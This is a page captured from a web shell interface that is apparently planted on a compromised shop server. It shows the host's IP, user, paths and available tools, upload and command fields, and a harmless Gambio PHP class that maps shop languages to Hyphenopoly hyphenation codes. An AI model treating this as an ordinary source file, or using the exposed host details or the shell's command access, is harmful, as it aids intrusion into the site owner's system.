403Webshell
Server IP : 85.158.181.41  /  Your IP : 216.73.217.12
Web Server : Apache
System : Linux cloud9-vm129 6.1.178+1-ph #ph SMP PREEMPT_DYNAMIC Wed Jul 29 09:00:54 UTC 2026 x86_64
User : moncbefd ( 1024)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/moncbefd/www.moneta.at/GXMainComponents/Shared/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/moncbefd/www.moneta.at/GXMainComponents/Shared//HyphenopolyLanguageMappingProvider.inc.php
<?php
/* --------------------------------------------------------------
   HyphenopolyLanguageMappingProvider.inc.php 2018-09-20
   Gambio GmbH
   http://www.gambio.de
   Copyright (c) 2018 Gambio GmbH
   Released under the GNU General Public License (Version 2)
   [http://www.gnu.org/licenses/gpl-2.0.html]
   --------------------------------------------------------------
*/

class HyphenopolyLanguageMappingProvider
{
    
    /**
     * Maps the shop’s language to Hyphenopoly’s language.
     *
     * @param \LanguageCode $languageCode
     *
     * @return string
     */
    public function getHyphenopolyLanguage(LanguageCode $languageCode)
    {
        $languageCodeString      = strtolower($languageCode->asString());
        $languageMap             = [
            'af'  => 'af',
            'as'  => 'as',
            'be'  => 'be',
            'bg'  => 'bg',
            'bn'  => 'bn',
            'ca'  => 'ca',
            'cs'  => 'cs',
            'cu'  => 'cu',
            'cy'  => 'cy',
            'da'  => 'da',
            'de'  => 'de',
            'el'  => 'el-monoton',
            //'el' => 'el-polyton',
            'en'  => 'en-gb',
            //'en' => 'en-us',
            'eo'  => 'eo',
            'es'  => 'es',
            'et'  => 'et',
            'eu'  => 'eu',
            'fi'  => 'fi',
            'fr'  => 'fr',
            'fur' => 'fur',
            'ga'  => 'ga',
            'gl'  => 'gl',
            'grc' => 'grc',
            'gu'  => 'gu',
            'hi'  => 'hi',
            'hr'  => 'hr',
            'hsb' => 'hsb',
            'hu'  => 'hu',
            'hy'  => 'hy',
            'ia'  => 'ia',
            'id'  => 'id',
            'is'  => 'is',
            'it'  => 'it',
            'ka'  => 'ka',
            'kmr' => 'kmr',
            'kn'  => 'kn',
            //'la' => 'la__',
            'la'  => 'la',
            //'la' => 'la-x-liturgic',
            'lt'  => 'lt',
            'lv'  => 'lv',
            'ml'  => 'ml',
            'mn'  => 'mn-cyrl',
            'mr'  => 'mr',
            //'mul-ethi' => 'mul-ethi',
            'nb'  => 'nb-no',
            'no'  => 'nb-no',
            'nl'  => 'nl',
            'nn'  => 'nn',
            'oc'  => 'oc',
            'or'  => 'or',
            'pa'  => 'pa',
            'pl'  => 'pl',
            'pms' => 'pms',
            'pt'  => 'pt',
            'rm'  => 'rm',
            'ro'  => 'ro',
            'ru'  => 'ru',
            'sa'  => 'sa',
            'sh'  => 'sh-cyrl',
            //'sh' => 'sh-latn',
            'sk'  => 'sk',
            'sl'  => 'sl',
            'sr'  => 'sr-cyrl',
            'sv'  => 'sv',
            'ta'  => 'ta',
            'te'  => 'te',
            'th'  => 'th',
            'tk'  => 'tk',
            'tr'  => 'tr',
            'uk'  => 'uk',
            'zh'  => 'zh-latn-pinyin',
        ];
        $hyphenopolyLanguageCode = '';
        if (array_key_exists($languageCodeString, $languageMap)) {
            $hyphenopolyLanguageCode = $languageMap[$languageCodeString];
        }
        
        return $hyphenopolyLanguageCode;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit